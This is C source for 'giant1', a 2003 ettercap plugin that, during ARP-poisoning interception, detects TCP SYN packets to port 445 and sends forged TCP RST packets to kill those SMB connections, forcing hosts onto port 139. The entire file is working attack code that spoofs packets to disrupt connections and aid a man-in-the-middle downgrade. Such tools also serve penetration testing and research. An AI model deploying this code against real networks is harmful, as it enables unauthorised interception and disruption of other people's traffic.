2
giant1 -- ettercap plugin -- SMB forcer
4
Copyright (C) 2003 ALoR <alor@users.sourceforge.net>, NaGA <crwm@freemail.it>
6
This program is free software; you can redistribute it and/or modify
7
it under the terms of the GNU General Public License as published by
8
the Free Software Foundation; either version 2 of the License, or
9
(at your option) any later version.
11
This program is distributed in the hope that it will be useful,
12
but WITHOUT ANY WARRANTY; without even the implied warranty of
13
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14
GNU General Public License for more details.
16
You should have received a copy of the GNU General Public License
17
along with this program; if not, write to the Free Software
18
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
21
#include "../../src/include/ec_main.h"
22
#include "../../src/include/ec_version.h"
23
#include "../../src/include/ec_plugins.h"
24
#include "../../src/include/ec_inet_structures.h"
25
#include "../../src/include/ec_inet.h"
26
#include "../../src/include/ec_inet_forge.h"
27
#include "../../src/include/ec_error.h"
35
int Plugin_Init(void *);
36
int Plugin_Fini(void *);
37
int Parse_Packet(void *buffer);
41
struct plugin_ops giant1_ops = {
42
ettercap_version: VERSION,
43
plug_info: "SMB: Force port 139",
46
hook_point: PCK_RECEIVED_RAW,
47
hook_function: &Parse_Packet,
50
//==================================
52
int Plugin_Init(void *params)
54
sock = Inet_OpenRawSock(Options.netiface);
55
Inet_GetIfaceInfo(Options.netiface, &MTU, MyMAC, NULL, NULL);
56
buf = Inet_Forge_packet(MTU);
57
return Plugin_Register(params, &giant1_ops);
60
int Plugin_Fini(void *params)
62
Inet_Forge_packet_destroy( buf );
63
Inet_CloseRawSock(sock);
67
// =================================
69
int Parse_Packet(void *buffer)
78
pck_raw = (RAW_PACKET *)buffer;
79
eth = (ETH_header *) pck_raw->buffer;
81
if (!Options.arpsniff && !flag)
83
Plugin_Hook_Output("You have to use arpsniff to summon giant1...\n");
87
if (eth->type == htons(ETH_P_IP) && Options.arpsniff)
89
ip = (IP_header *)(eth+1);
90
if ( ip->proto == IPPROTO_TCP )
92
tcp = (TCP_header *) ((int)ip + ip->h_len * 4);
94
if ( (tcp->dest==htons(445)) && (tcp->flags & TH_SYN) )
96
struct in_addr addr_source;
97
struct in_addr addr_dest;
99
addr_dest.s_addr = ip->dest_ip;
100
addr_source.s_addr = ip->source_ip;
102
Plugin_Hook_Output("Port 445 between %s and ", inet_ntoa(addr_source));
103
Plugin_Hook_Output("%s: stopped\n", inet_ntoa(addr_dest));
105
Inet_Forge_ethernet(buf, MyMAC, eth->source_mac, ETH_P_IP);
106
Inet_Forge_ip(buf + ETH_HEADER, ip->dest_ip, ip->source_ip, TCP_HEADER, 0xe77e, 0, IPPROTO_TCP);
107
Inet_Forge_tcp(buf + ETH_HEADER + IP_HEADER, ntohs(tcp->dest), ntohs(tcp->source), 0, ntohl(tcp->seq)+1, TH_RST, 0, 0);
109
Inet_SendRawPacket(sock, buf, ETH_HEADER+IP_HEADER+TCP_HEADER);
120
// vim:ts=3:expandtab